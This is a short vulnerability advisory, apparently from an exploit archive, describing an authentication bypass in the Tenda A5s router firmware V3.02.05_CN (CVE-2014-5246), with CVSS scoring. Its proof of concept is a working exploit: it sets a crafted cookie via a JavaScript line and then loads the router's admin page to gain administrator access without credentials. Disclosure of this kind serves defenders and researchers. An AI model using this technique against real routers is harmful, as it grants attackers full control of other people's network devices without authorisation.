Tenda A5s Router Authentication Bypass Vulnerability

2014.08.18

Credit: zixian

Risk: High

Local: No

Remote: Yes

CVE: CVE-2014-5246

CWE: N/A

CVSS Base Score: 10/10

Impact Subscore: 10/10

Exploitability Subscore: 10/10

Exploit range: Remote

Attack complexity: Low

Authentication: No required

Confidentiality impact: Complete

Integrity impact: Complete

Availability impact: Complete

-----------------------------------------------------------------------
          Tenda A5s Router Authentication Bypass Vulnerability
-----------------------------------------------------------------------
Author      : zixian
Mail        : me@zixian.org
Date        : Aug, 17-2014
  
Vendor      : http://tenda.com.cn/
Link        : http://tenda.com.cn/Catalog/Product/223
Version     : V3.02.05_CN
CVE         : CVE-2014-5246
  
Exploit & p0c
_____________
  
go to
    http://192.168.2.1/
  
then set cookie with javascript
  
    javascript:document.cookie='admin:language=zh-cn'
 
go to
    http://192.168.2.1/advance.asp
 
you are the admin!

References:

http://tenda.com.cn/Catalog/Product/223

See this note in RAW Version

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Tenda A5s Router Authentication Bypass Vulnerability

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